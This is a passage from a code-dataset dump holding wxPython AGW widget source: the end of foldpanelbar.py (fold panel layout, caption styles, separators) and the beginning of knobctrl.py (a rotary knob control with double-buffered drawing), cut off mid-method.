self._panels.index(foldpanel)\n except:\n raise Exception(\"ERROR: Invalid Panel Passed To Collapse: \" + repr(foldpanel))\n \n foldpanel.Collapse()\n self.RefreshPanelsFrom(foldpanel)\n\n\n def Expand(self, foldpanel):\n \"\"\"\n Expands the given fold panel reference, and updates the foldpanel bar.\n\n :param `foldpanel`: an instance of L{FoldPanelItem}.\n \n :note: With the ``FPB_COLLAPSE_TO_BOTTOM`` style set, they will be removed\n from the bottom and the order where the panel originally was placed is\n restored.\n \"\"\"\n\n fpbextrastyle = 0\n \n if self._agwStyle & FPB_SINGLE_FOLD or self._agwStyle & FPB_EXCLUSIVE_FOLD:\n fpbextrastyle = 1\n for panel in self._panels:\n panel.Collapse()\n\n foldpanel.Expand()\n \n if fpbextrastyle:\n if self._agwStyle & FPB_EXCLUSIVE_FOLD:\n self.RepositionCollapsedToBottom()\n self.RefreshPanelsFrom(self._panels[0])\n else:\n self.RefreshPanelsFrom(foldpanel)\n\n\n def ApplyCaptionStyle(self, foldpanel, cbstyle):\n \"\"\"\n Sets the style of the caption bar (L{CaptionBar}) of the fold panel.\n\n :param `foldpanel`: an instance of L{FoldPanelItem};\n :param `cbstyle`: an instance of L{CaptionBarStyle}.\n\n :note: The changes are applied immediately. All styles not set in the\n L{CaptionBarStyle} class are not applied. Use the L{CaptionBar} reference\n to indicate what captionbar you want to apply the style to. To apply one\n style to all L{CaptionBar} items, use L{ApplyCaptionStyleAll}.\n \"\"\"\n \n foldpanel.ApplyCaptionStyle(cbstyle)\n \n\n def ApplyCaptionStyleAll(self, cbstyle):\n \"\"\"\n Sets the style of all the caption bars of the fold panel.\n The changes are applied immediately.\n\n :param `cbstyle`: an instance of L{CaptionBarStyle}.\n \"\"\"\n \n for panels in self._panels:\n self.ApplyCaptionStyle(panels, cbstyle)\n \n\n def GetCaptionStyle(self, foldpanel):\n \"\"\"\n Returns the currently used caption style for the fold panel.\n\n It is returned as a L{CaptionBarStyle} class. After modifying it, it can\n be set again.\n\n :param `foldpanel`: an instance of L{FoldPanelItem}.\n \"\"\"\n \n return foldpanel.GetCaptionStyle()\n\n\n def IsVertical(self):\n \"\"\"\n Returns whether the L{CaptionBar} has default orientation or not.\n Default is vertical.\n \"\"\"\n \n return self._isVertical\n\n\n def GetFoldPanel(self, item):\n \"\"\"\n Returns the panel associated with the index `item`.\n\n :param `item`: an integer representing the L{FoldPanelItem} in the list of\n panels in this L{FoldPanelBar}.\n \"\"\"\n \n try:\n ind = self._panels[item]\n return self._panels[item]\n except:\n raise Exception(\"ERROR: List Index Out Of Range Or Bad Item Passed: \" + repr(item) + \\\n \". Item Should Be An Integer Between \" + repr(0) + \" And \" + \\\n repr(len(self._panels)))\n\n\n def GetCount(self):\n \"\"\" Returns the number of panels in the L{FoldPanelBar}. \"\"\"\n\n try:\n return len(self._panels)\n except:\n raise Exception(\"ERROR: No Panels Have Been Added To FoldPanelBar\")\n\n \n\n# --------------------------------------------------------------------------------- #\n# class FoldPanelItem\n# --------------------------------------------------------------------------------- #\n\nclass FoldPanelItem(wx.Panel):\n \"\"\"\n This class is a child sibling of the L{FoldPanelBar} class. It will\n contain a L{CaptionBar} class for receiving of events, and a the\n rest of the area can be populated by a `wx.Panel` derived class.\n \"\"\"\n \n def __init__(self, parent, id=wx.ID_ANY, caption=\"\", foldIcons=None,\n collapsed=False, cbstyle=None):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{FoldPanelItem} parent window;\n :param `id`: an identifier for the control: a value of -1 is taken to mean a default;\n :param `caption`: the string to be displayed in L{CaptionBar};\n :param `foldIcons`: an instance of `wx.ImageList` containing the icons to display\n next to the caption text;\n :param `collapsed`: ``True`` if the L{CaptionBar} should start in the collapsed state,\n ``False`` otherwise;\n :param `cbstyle`: the L{CaptionBar} window style. Must be an instance of\n L{CaptionBarStyle}.\n \"\"\"\n \n wx.Panel.__init__(self, parent, id, wx.Point(0,0), style=wx.CLIP_CHILDREN)\n self._controlCreated = False\n self._UserSize = 0\n self._PanelSize = 0\n self._LastInsertPos = 0\n self._itemPos = 0\n self._userSized = False\n\n if foldIcons is None:\n foldIcons = wx.ImageList(16, 16)\n\n bmp = ExpandedIcon.GetBitmap()\n foldIcons.Add(bmp)\n bmp = CollapsedIcon.GetBitmap()\n foldIcons.Add(bmp)\n \n self._foldIcons = foldIcons\n if cbstyle is None:\n cbstyle = EmptyCaptionBarStyle\n\n # create the caption bar, in collapsed or expanded state\n \n self._captionBar = CaptionBar(self, wx.ID_ANY, wx.Point(0,0),\n size=wx.DefaultSize, caption=caption,\n foldIcons=foldIcons, cbstyle=cbstyle)\n\n if collapsed:\n self._captionBar.Collapse()\n\n self._controlCreated = True\n\n # make initial size for component, if collapsed, the\n # size is determined on the panel height and won't change\n \n size = self._captionBar.GetSize()\n\n self._PanelSize = (self.IsVertical() and [size.GetHeight()] or \\\n [size.GetWidth()])[0]\n \n self._LastInsertPos = self._PanelSize\n self._items = []\n\n self.Bind(EVT_CAPTIONBAR, self.OnPressCaption)\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n\n\n def AddWindow(self, window, flags=FPB_ALIGN_WIDTH, spacing=FPB_DEFAULT_SPACING,\n leftSpacing=FPB_DEFAULT_LEFTLINESPACING,\n rightSpacing=FPB_DEFAULT_RIGHTLINESPACING):\n \"\"\"\n Adds a window item to the list of items on this panel.\n\n :param `window`: an instance of `wx.Window`;\n :param `flags`: can be one of the following bits:\n\n ====================== ======= ====================================\n Align Flag Value Description\n ====================== ======= ====================================\n ``FPB_ALIGN_WIDTH`` 1 The `wx.Window` to be added will be aligned to fit the width of the FoldPanel when it is resized. Very handy for sizer items, buttons and text boxes.\n ``FPB_ALIGN_LEFT`` 0 Aligns left instead of fitting the width of the child window to be added. Use either this one or ``FPB_ALIGN_WIDTH``.\n ====================== ======= ====================================\n\n :param `spacing`: reserves a number of pixels before the window element;\n :param `leftSpacing`: an indent, in pixels;\n :param `rightSpacing`: a right spacing, only relevant when the style\n ``FPB_ALIGN_WIDTH`` is chosen.\n \"\"\"\n \n wi = FoldWindowItem(self, window, Type=\"WINDOW\", flags=flags, spacing=spacing,\n leftSpacing=leftSpacing, rightSpacing=rightSpacing)\n \n self._items.append(wi)\n\n vertical = self.IsVertical()\n \n self._spacing = spacing\n self._leftSpacing = leftSpacing\n self._rightSpacing = rightSpacing\n\n xpos = (vertical and [leftSpacing] or [self._LastInsertPos + spacing])[0]\n ypos = (vertical and [self._LastInsertPos + spacing] or [leftSpacing])[0]\n\n window.SetDimensions(xpos, ypos, -1, -1, wx.SIZE_USE_EXISTING)\n\n self._LastInsertPos = self._LastInsertPos + wi.GetWindowLength(vertical)\n self.ResizePanel()\n \n\n def AddSeparator(self, colour=wx.BLACK, spacing=FPB_DEFAULT_SPACING,\n leftSpacing=FPB_DEFAULT_LEFTSPACING,\n rightSpacing=FPB_DEFAULT_RIGHTSPACING):\n \"\"\"\n Adds a separator item to the list of items on this panel.\n\n :param `colour`: the separator colour, an instance of `wx.Colour`;\n :param `spacing`: the separator to be added can be slightly indented from\n left and right so it is more visibly placed in the fold panel. Use `spacing` > 0\n to give the control an y offset from the previous `wx.Window` added;\n :param `leftSpacing`: give the added separator a slight indent from the left;\n :param `rightSpacing`: give the added separator a slight indent from the right. \n \"\"\"\n \n wi = FoldWindowItem(self, window=None, Type=\"SEPARATOR\",\n flags=FPB_ALIGN_WIDTH, y=self._LastInsertPos,\n colour=colour, spacing=spacing, leftSpacing=leftSpacing,\n rightSpacing=rightSpacing)\n \n self._items.append(wi)\n self._LastInsertPos = self._LastInsertPos + \\\n wi.GetWindowLength(self.IsVertical())\n \n self.ResizePanel()\n\n\n def Reposition(self, pos):\n \"\"\"\n Repositions this L{FoldPanelItem} and reports the length occupied\n for the next L{FoldPanelItem} in the list.\n\n :param `pos`: the new item position. \n \"\"\"\n \n # NOTE: Call Resize before Reposition when an item is added, because the new\n # size needed will be calculated by Resize. Of course the relative position\n # of the controls have to be correct in respect to the caption bar\n \n self.Freeze()\n\n vertical = self.IsVertical()\n xpos = (vertical and [-1] or [pos])[0]\n ypos = (vertical and [pos] or [-1])[0]\n\n self.SetDimensions(xpos, ypos, -1, -1, wx.SIZE_USE_EXISTING)\n self._itemPos = pos\n\n self.Thaw()\n\n return self.GetPanelLength()\n\n\n def OnPressCaption(self, event):\n \"\"\"\n Handles the ``wx.EVT_CAPTIONBAR`` event for L{FoldPanelItem}.\n\n :param `event`: a L{CaptionBarEvent} event to be processed.\n \"\"\"\n \n # tell the upper container we are responsible\n # for this event, so it can fold the panel item\n # and do a refresh\n\n event.SetTag(self)\n event.Skip()\n\n\n def ResizePanel(self):\n \"\"\" Resizes the panel. \"\"\"\n \n # prevent unnecessary updates by blocking repaints for a sec\n\n self.Freeze()\n\n vertical = self.IsVertical()\n # force this panel to take the width of the parent panel and the y of the\n # user or calculated width (which will be recalculated by the contents here)\n\n\n if self._captionBar.IsCollapsed():\n size = self._captionBar.GetSize()\n self._PanelSize = (vertical and [size.GetHeight()] or [size.GetWidth()])[0]\n else:\n size = self.GetBestSize()\n self._PanelSize = (vertical and [size.GetHeight()] or [size.GetWidth()])[0]\n\n if self._UserSize:\n if vertical:\n size.SetHeight(self._UserSize)\n else:\n size.SetWidth(self._UserSize)\n\n pnlsize = self.GetParent().GetSize()\n\n if vertical:\n size.SetWidth(pnlsize.GetWidth())\n else:\n size.SetHeight(pnlsize.GetHeight())\n \n # resize caption bar\n xsize = (vertical and [size.GetWidth()] or [-1])[0]\n ysize = (vertical and [-1] or [size.GetHeight()])[0]\n\n self._captionBar.SetSize((xsize, ysize))\n\n # resize the panel\n self.SetSize(size)\n\n # go by all the controls and call Layout\n\n for items in self._items:\n items.ResizeItem((vertical and [size.GetWidth()] or \\\n [size.GetHeight()])[0], vertical)\n\n self.Thaw() \n \n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{FoldPanelItem}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n \n # draw all the items that are lines\n\n dc = wx.PaintDC(self)\n vertical = self.IsVertical()\n\n for item in self._items:\n \n if item.GetType() == \"SEPARATOR\":\n pen = wx.Pen(item.GetLineColour(), 1, wx.SOLID)\n dc.SetPen(pen)\n a = item.GetLeftSpacing()\n b = item.GetLineY() + item.GetSpacing()\n c = item.GetLineLength()\n d = a + c\n \n if vertical:\n dc.DrawLine(a, b, d, b)\n else:\n dc.DrawLine(b, a, b, d)\n \n event.Skip()\n \n\n def IsVertical(self):\n \"\"\"\n Returns whether the L{CaptionBar} has default orientation or not.\n Default is vertical.\n \"\"\"\n \n # grandparent of FoldPanelItem is FoldPanelBar\n # default is vertical\n \n if isinstance(self.GetGrandParent(), FoldPanelBar):\n return self.GetGrandParent().IsVertical()\n else:\n raise Exception(\"ERROR: Wrong Parent \" + repr(self.GetGrandParent()))\n\n\n def IsExpanded(self):\n \"\"\"\n Returns expanded or collapsed status. If the panel is\n expanded, ``True`` is returned.\n \"\"\"\n \n return not self._captionBar.IsCollapsed()\n\n \n def GetItemPos(self):\n \"\"\" Returns item's position. \"\"\"\n \n return self._itemPos\n\n\n def Collapse(self):\n \"\"\"\n Internal method.\n\n This should not be called by the user, because it doesn't trigger the\n parent to tell it that we are collapsed or expanded, it only changes\n visual state.\n \"\"\"\n \n self._captionBar.Collapse()\n self.ResizePanel()\n\n\n def Expand(self):\n \"\"\"\n Internal method.\n \n This should not be called by the user, because it doesn't trigger the\n parent to tell it that we are collapsed or expanded, it only changes\n visual state.\n \"\"\"\n \n self._captionBar.Expand()\n self.ResizePanel()\n\n\n def GetPanelLength(self):\n \"\"\" Returns size of panel. \"\"\"\n \n if self._captionBar.IsCollapsed():\n return self.GetCaptionLength()\n elif self._userSized:\n return self._UserSize\n \n return self._PanelSize\n\n\n def GetCaptionLength(self):\n \"\"\" Returns height of caption only. This is for folding calculation purposes. \"\"\"\n \n size = self._captionBar.GetSize()\n return (self.IsVertical() and [size.GetHeight()] or [size.GetWidth()])[0]\n\n\n def ApplyCaptionStyle(self, cbstyle):\n \"\"\" Applies the style defined in `cbstyle` to the L{CaptionBar}.\"\"\"\n \n self._captionBar.SetCaptionStyle(cbstyle)\n\n\n def GetCaptionStyle(self):\n \"\"\"\n Returns the current style of the captionbar in a L{CaptionBarStyle} class.\n\n This can be used to change and set back the changes.\n \"\"\"\n \n return self._captionBar.GetCaptionStyle()\n\n\n# ----------------------------------------------------------------------------------- #\n# class FoldWindowItem\n# ----------------------------------------------------------------------------------- #\n\nclass FoldWindowItem(object):\n \"\"\"\n This class is a child sibling of the L{FoldPanelItem} class. It\n will contain `wx.Window` that can be either a separator (a coloured\n line simulated by a `wx.Window`) or a wxPython controls (such as a\n `wx.Button`, a `wx.ListCtrl` etc...).\n \"\"\"\n \n def __init__(self, parent, window=None, **kw):\n \"\"\"\n Default class constructor\n\n :param `parent`: the L{FoldWindowItem} parent;\n :param `window`: the window contained in this item.\n \n :keyword `Type`: can be \"WINDOW\" or \"SEPARATOR\";\n :keyword `lineColour`: the separator colour (meaningful for separators only);\n :keyword `y`: the separator y position (meaningful for separators only);\n :keyword `flags`: the alignment flags;\n :keyword `spacing`: reserves a number of pixels before the window/separator element;\n :keyword `leftSpacing`: an indent, in pixels;\n :keyword `rightSpacing`: a right spacing, only relevant when the style\n ``FPB_ALIGN_WIDTH`` is chosen.\n\n :see: L{FoldPanelBar.AddFoldPanelWindow} for a list of valid alignment flags.\n \"\"\"\n\n if not kw.has_key(\"Type\"):\n raise Exception('ERROR: Missing Window Type Information. This Should Be \"WINDOW\" Or \"SEPARATOR\"')\n\n if kw.get(\"Type\") == \"WINDOW\":\n # Window constructor. This initialises the class as a wx.Window Type\n \n if kw.has_key(\"flags\"):\n self._flags = kw.get(\"flags\")\n else:\n self._flags = FPB_ALIGN_WIDTH\n if kw.has_key(\"spacing\"):\n self._spacing = kw.get(\"spacing\")\n else:\n self._spacing = FPB_DEFAULT_SPACING\n if kw.has_key(\"leftSpacing\"):\n self._leftSpacing = kw.get(\"leftSpacing\")\n else:\n self._leftSpacing = FPB_DEFAULT_LEFTSPACING\n if kw.has_key(\"rightSpacing\"):\n self._rightSpacing = kw.get(\"rightSpacing\")\n else:\n self._rightSpacing = FPB_DEFAULT_RIGHTSPACING\n\n self._lineY = 0\n self._sepLineColour = None\n self._wnd = window\n \n\n elif kw.get(\"Type\") == \"SEPARATOR\":\n # separator constructor. This initialises the class as a separator type\n \n if kw.has_key(\"y\"):\n self._lineY = kw.get(\"y\")\n else:\n raise Exception(\"ERROR: Undefined Y Position For The Separator\")\n if kw.has_key(\"lineColour\"):\n self._sepLineColour = kw.get(\"lineColour\")\n else:\n self._sepLineColour = wx.BLACK\n if kw.has_key(\"flags\"):\n self._flags = kw.get(\"flags\")\n else:\n self._flags = FPB_ALIGN_WIDTH\n if kw.has_key(\"spacing\"):\n self._spacing = kw.get(\"spacing\")\n else:\n self._spacing = FPB_DEFAULT_SPACING\n if kw.has_key(\"leftSpacing\"):\n self._leftSpacing = kw.get(\"leftSpacing\")\n else:\n self._leftSpacing = FPB_DEFAULT_LEFTSPACING\n if kw.has_key(\"rightSpacing\"):\n self._rightSpacing = kw.get(\"rightSpacing\")\n else:\n self._rightSpacing = FPB_DEFAULT_RIGHTSPACING\n\n self._wnd = window\n\n else:\n raise Exception(\"ERROR: Undefined Window Type Selected: \" + repr(kw.get(\"Type\")))\n\n self._type = kw.get(\"Type\")\n self._lineLength = 0\n \n\n def GetType(self):\n \"\"\" Returns the L{FoldWindowItem} type. \"\"\"\n \n return self._type\n\n\n def GetLineY(self):\n \"\"\" Returns the y position of the separator. \"\"\"\n \n return self._lineY\n\n\n def GetLineLength(self):\n \"\"\" Returns the separator line length. \"\"\"\n \n return self._lineLength\n\n\n def GetLineColour(self):\n \"\"\" Returns the separator line colour. \"\"\"\n \n return self._sepLineColour\n\n\n def GetLeftSpacing(self):\n \"\"\" Returns the left indent of L{FoldWindowItem}. \"\"\"\n \n return self._leftSpacing\n\n\n def GetRightSpacing(self):\n \"\"\" Returns the right indent of L{FoldWindowItem}. \"\"\"\n\n return self._rightSpacing\n\n\n def GetSpacing(self):\n \"\"\" Returns the spacing of L{FoldWindowItem}. \"\"\"\n\n return self._spacing\n\n\n def GetWindowLength(self, vertical=True):\n \"\"\"\n Returns space needed by the window if type is L{FoldWindowItem}\n \"WINDOW\" and returns the total size plus the extra spacing.\n\n :param `vertical`: ``True`` if the parent L{FoldPanelBar} is in vertical\n mode.\n \"\"\"\n\n value = 0\n if self._type == \"WINDOW\":\n size = self._wnd.GetSize()\n value = (vertical and [size.GetHeight()] or [size.GetWidth()])[0] + \\\n self._spacing\n \n elif self._type == \"SEPARATOR\":\n value = 1 + self._spacing\n\n return value\n\n\n def ResizeItem(self, size, vertical=True):\n \"\"\"\n Resizes the element, whatever it is.\n \n A separator or line will be always aligned by width or height\n depending on orientation of the whole panel.\n\n :param `size`: the maximum size available for the L{FoldWindowItem};\n :param `vertical`: ``True`` if the parent L{FoldPanelBar} is in vertical\n mode.\n \"\"\"\n \n if self._flags & FPB_ALIGN_WIDTH:\n # align by taking full width\n mySize = size - self._leftSpacing - self._rightSpacing\n\n if mySize < 0:\n mySize = 10 # can't have negative width\n\n if self._type == \"SEPARATOR\":\n self._lineLength = mySize\n else:\n xsize = (vertical and [mySize] or [-1])[0]\n ysize = (vertical and [-1] or [mySize])[0]\n\n self._wnd.SetSize((xsize, ysize))\n \n", "id": "9740752", "language": "Python", "matching_score": 6.5767822265625, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/foldpanelbar.py" }, { "content": "# --------------------------------------------------------------------------------- #\n# KNOBCTRL wxPython IMPLEMENTATION\n#\n# <NAME>, @ 03 Nov 2006\n# Latest Revision: 14 Apr 2010, 12.00 GMT\n#\n#\n# TODO List\n#\n# 1. Any idea?\n#\n# For All Kind Of Problems, Requests Of Enhancements And Bug Reports, Please\n# Write To Me At:\n#\n# <EMAIL>\n# <EMAIL>\n#\n# Or, Obviously, To The wxPython Mailing List!!!\n#\n#\n# End Of Comments\n# --------------------------------------------------------------------------------- #\n\n\"\"\"\nKnobCtrl lets the user select a numerical value by rotating it.\n\n\nDescription\n===========\n\nKnobCtrl lets the user select a numerical value by rotating it. It works like a\nscrollbar: just set the ticks range property and read the value property in the\nassociated ``EVT_KC_ANGLE_CHANGING``/``EVT_KC_ANGLE_CHANGED`` events. Simple but\neffective.\n\nIt can be easily used if you want to simulate the volume knob of a music player\nor similar functionalities.\n\n\nEvents\n======\n\nKnobCtrl implements two events that can be intercepted by the user:\n\n- ``EVT_KC_ANGLE_CHANGING``;\n- ``EVT_KC_ANGLE_CHANGED``.\n\nThe first one can be \"vetoed\" by eliminating the `event.Skip()` at the end of the\nevent handler.\n\n\nSupported Platforms\n===================\n\nKnobCtrl has been tested on the following platforms:\n * Windows (Windows XP);\n * Linux Ubuntu (Dapper 6.06)\n\n\nWindow Styles\n=============\n\nThis class supports the following window styles:\n\n================== =========== ==================================================\nWindow Styles Hex Value Description\n================== =========== ==================================================\n``KC_BUFFERED_DC`` 0x1 Flag to use double buffering (recommendeded = 1).\n================== =========== ==================================================\n\n\nEvents Processing\n=================\n\nThis class processes the following events:\n\n========================= ==================================================\nEvent Name Description\n========================= ==================================================\n``EVT_KC_ANGLE_CHANGED`` Notify the client that the knob has changed its value.\n``EVT_KC_ANGLE_CHANGING`` Notify the client that the knob is changing its value.\n========================= ==================================================\n\n\nLicense And Version\n===================\n\nKnobCtrl is distributed under the wxPython license. \n\nLatest Revision: <NAME> @ 14 Apr 2010, 12.00 GMT\n\nVersion 0.3\n\n\"\"\"\n\n__docformat__ = \"epytext\"\n\n\nimport wx\nimport math\n\n# Flag to use double buffering (recommendeded = 1)\nKC_BUFFERED_DC = 1\n\"\"\"Flag to use double buffering (recommendeded = 1)\"\"\"\n\n# Events\nwxEVT_KC_ANGLE_CHANGING = wx.NewEventType()\nwxEVT_KC_ANGLE_CHANGED = wx.NewEventType()\n\nEVT_KC_ANGLE_CHANGING = wx.PyEventBinder(wxEVT_KC_ANGLE_CHANGING, 1)\n\"\"\" Notify the client that the knob is changing its value.\"\"\"\nEVT_KC_ANGLE_CHANGED = wx.PyEventBinder(wxEVT_KC_ANGLE_CHANGED, 1)\n\"\"\" Notify the client that the knob has changed its value.\"\"\"\n\n# ---------------------------------------------------------------------------- #\n# Class KnobCtrlEvent\n# ---------------------------------------------------------------------------- #\n\nclass KnobCtrlEvent(wx.PyCommandEvent):\n \"\"\"\n Represent details of the events that the L{KnobCtrl} object sends.\n \"\"\"\n\n def __init__(self, eventType, eventId=1):\n \"\"\"\n Default class constructor.\n For internal use: do not call it in your code!\n\n :param `eventType`: the event type;\n :param `eventId`: the event identifier.\n \"\"\"\n\n wx.PyCommandEvent.__init__(self, eventType, eventId)\n\n\n def SetOldValue(self, oldValue):\n \"\"\"\n Sets the old L{KnobCtrl} value for this event.\n\n :param `oldValue`: an integer representing the old value.\n \"\"\"\n\n self._oldValue = oldValue\n\n\n def GetOldValue(self):\n \"\"\" Returns the old L{KnobCtrl} value for this event. \"\"\"\n\n return self._oldValue\n\n\n def SetValue(self, value):\n \"\"\"\n Sets the new L{KnobCtrl} value for this event.\n\n :param `value`: an integer representing the new value.\n \"\"\"\n\n self._value = value\n\n\n def GetValue(self):\n \"\"\" Returns the new L{KnobCtrl} value for this event. \"\"\"\n\n return self._value\n\n \n#----------------------------------------------------------------------\n# BUFFERENDWINDOW Class\n# This Class Has Been Taken From The wxPython Wiki, And Slightly\n# Adapted To Fill My Needs. See:\n#\n# http://wiki.wxpython.org/index.cgi/DoubleBufferedDrawing\n#\n# For More Info About DC And Double Buffered Drawing.\n#----------------------------------------------------------------------\n\nclass BufferedWindow(wx.Window):\n \"\"\"\n A Buffered window class.\n\n To use it, subclass it and define a `Draw(dc)` method that takes a `dc`\n to draw to. In that method, put the code needed to draw the picture\n you want. The window will automatically be double buffered, and the\n screen will be automatically updated when a Paint event is received.\n\n When the drawing needs to change, you app needs to call the\n L{BufferedWindow.UpdateDrawing} method. Since the drawing is stored in a bitmap, you\n can also save the drawing to file by calling the\n `SaveToFile(self, file_name, file_type)` method.\n \"\"\"\n\n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=wx.NO_FULL_REPAINT_ON_RESIZE, agwStyle=KC_BUFFERED_DC):\n \"\"\"\n Default class constructor.\n\n :param `parent`: parent window. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the window style;\n :param `agwStyle`: if set to ``KC_BUFFERED_DC``, double-buffering will\n be used.\n \"\"\"\n\n wx.Window.__init__(self, parent, id, pos, size, style)\n\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_SIZE, self.OnSize)\n self.Bind(wx.EVT_ERASE_BACKGROUND, lambda x: None)\n\n # OnSize called to make sure the buffer is initialized.\n # This might result in OnSize getting called twice on some\n # platforms at initialization, but little harm done.\n self.OnSize(None)\n \n\n def Draw(self, dc):\n \"\"\"\n This method should be overridden when sub-classed.\n\n :param `dc`: an instance of `wx.DC`. \n \"\"\"\n \n pass\n\n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{BufferedWindow}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n \n # All that is needed here is to draw the buffer to screen \n if self._agwStyle == KC_BUFFERED_DC:\n dc = wx.BufferedPaintDC(self, self._Buffer)\n else:\n dc = wx.PaintDC(self)\n dc.DrawBitmap(self._Buffer,0,0)\n\n\n def OnSize(self,event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{BufferedWindow}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n \"\"\"\n\n # The Buffer init is done here, to make sure the buffer is always\n # the same size as the Window\n self.Width, self.Height = self.GetClientSizeTuple()\n\n # Make new off screen bitmap: this bitmap will always have the\n # current drawing in it, so it can be used to save the image to\n # a file, or whatever.\n\n # This seems required on MacOS, it doesn't like wx.EmptyBitmap with\n # size = (0, 0)\n # Thanks to <NAME>\n \n if \"__WXMAC__\" in wx.Platform:\n if self.Width == 0:\n self.Width = 1\n if self.Height == 0:\n self.Height = 1\n \n self._Buffer = wx.EmptyBitmap(self.Width, self.Height)\n\n memory = wx.MemoryDC()\n memory.SelectObject(self._Buffer)\n memory.SetBackground(wx.Brush(self.GetBackgroundColour()))\n memory.SetPen(wx.TRANSPARENT_PEN)\n memory.Clear()\n\n minradius = min(0.9*self.Width/2, 0.9*self.Height/2)\n memory.DrawCircle(self.Width/2, self.Height/2, minradius)\n memory.SelectObject(wx.NullBitmap)\n self._region = wx.RegionFromBitmapColour(self._Buffer, self.GetBackgroundColour())\n self._minradius = minradius\n\n self.UpdateDrawing()\n\n\n def UpdateDrawing(self):\n \"\"\"\n This would get called if the drawing needed to change, for whatever reason.\n\n The idea here is that the drawing is based on some data generated\n elsewhere in the system. If that data changes, the drawing needs to\n be updated.\n \"\"\"\n\n if self._agwStyle == KC_BUFFERED_DC:\n dc = wx.BufferedDC(wx.ClientDC(self), self._Buffer)\n self.Draw(dc)\n else:\n # update the buffer\n dc = wx.MemoryDC()\n dc.SelectObject(self._Buffer)\n\n self.Draw(dc)\n # update the screen\n wx.ClientDC(self).Blit(0, 0, self.Width, self.Height, dc, 0, 0)\n \n\n# ---------------------------------------------------------------------------- #\n# Class KnobCtrl\n# ---------------------------------------------------------------------------- #\n\nclass KnobCtrl(BufferedWindow):\n \"\"\"\n This class can be used to simulate a knob volume control often found in\n PC music players.\n \"\"\"\n \n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition,\n size=wx.DefaultSize,\n agwStyle=KC_BUFFERED_DC):\n \"\"\"\n Default class constructor.\n\n :param `parent`: parent window. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the window style;\n :param `agwStyle`: if set to ``KC_BUFFERED_DC``, double-buffering will\n be used.\n \"\"\"\n\n self._agwStyle = agwStyle\n self._knobcolour = wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DFACE)\n\n self._startcolour = wx.WHITE\n self._endcolour = wx.Colour(170, 170, 150)\n self._tagscolour = wx.BLACK\n self._boundingcolour = wx.WHITE\n self._tags = []\n self._anglestart = -45\n self._angleend = 180\n self._state = 0\n self._minvalue = 0\n self._maxvalue = 100\n self._old_ang = 0\n self._trackposition = 0\n self._knobradius = 4\n \n BufferedWindow.__init__(self, parent, id, pos, size,\n style=wx.NO_FULL_REPAINT_ON_RESIZE,\n agwStyle=agwStyle)\n\n self.Bind(wx.EVT_MOUSE_EVENTS, self.OnMouseEvents)\n self.SetValue(self._trackposition)\n\n \n def OnMouseEvents(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOUSE_EVENTS`` event for L{KnobCtrl}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if self._state == 0 and event.Entering():\n self._state = 1 \n elif self._state >= 1 and event.Leaving():\n self._state = 0 \n elif self._state == 1 and event.LeftDown():\n self._state = 2 \n self._mousePosition = event.GetPosition()\n self.SetTrackPosition() \n elif self._state == 2 and event.LeftIsDown():\n self._mousePosition = event.GetPosition()\n self.SetTrackPosition() \n elif self._state == 2 and event.LeftUp():\n self._state = 1\n\n\n def SetTags(self, tags):\n \"\"\"\n Sets the tags for L{KnobCtrl}.\n\n :param `tags`: a list of integers ranging from `minvalue` to `maxvalue`.\n \"\"\"\n \n self._tags = tags\n if min(tags) < self._minvalue:\n self._minvalue = min(tags)\n\n if max(tags) > self._maxvalue:\n self._maxvalue = max(tags)\n\n self.OnSize(None)\n\n\n def GetMinValue(self):\n \"\"\" Returns the minimum value for L{KnobCtrl}. \"\"\"\n\n return self._minvalue\n\n\n def GetMaxValue(self):\n \"\"\" Returns the maximum value for L{KnobCtrl}. \"\"\"\n\n return self._maxvalue\n\n\n def GetKnobRadius(self):\n \"\"\" Returns the knob radius, in pixels. \"\"\"\n\n return self._knobradius\n\n\n def SetKnobRadius(self, radius):\n \"\"\"\n Sets the knob radius.\n\n :param `radius`: the knob radius, in pixels.\n \"\"\"\n\n if radius <= 0:\n return\n\n self._knobradius = radius\n self.UpdateDrawing()\n\n \n def GetTags(self):\n \"\"\" Returns the L{KnobCtrl} tags. \"\"\"\n\n return self._tags \n\n\n def SetTagsColour(self, colour):\n \"\"\"\n Sets the tags colour.\n\n :param `colour`: a valid `wx.Colour` object.\n \"\"\"\n\n self._tagscolour = colour\n self.UpdateDrawing()\n\n\n def GetTagsColour(self):\n \"\"\" Returns the tags colour. \"\"\"\n\n return self._tagscolour \n\n\n def SetBoundingColour(self, colour):\n \"\"\"\n Sets the bounding circle colour.\n\n :param `colour`: a valid `wx.Colour` object.\n \"\"\"\n\n self._boundingcolour = colour\n self.UpdateDrawing()\n\n\n def GetBoundingColour(self):\n \"\"\" Returns the bounding circle colour. \"\"\"\n\n return self._boundingcolour\n\n\n def SetFirstGradientColour(self, colour):\n \"\"\"\n Sets the first gradient colour for shading.\n\n :param `colour`: a valid `wx.Colour` object.\n \"\"\"\n\n self._startcolour = colour\n self.UpdateDrawing()\n\n\n def GetFirstGradientColour(self):\n 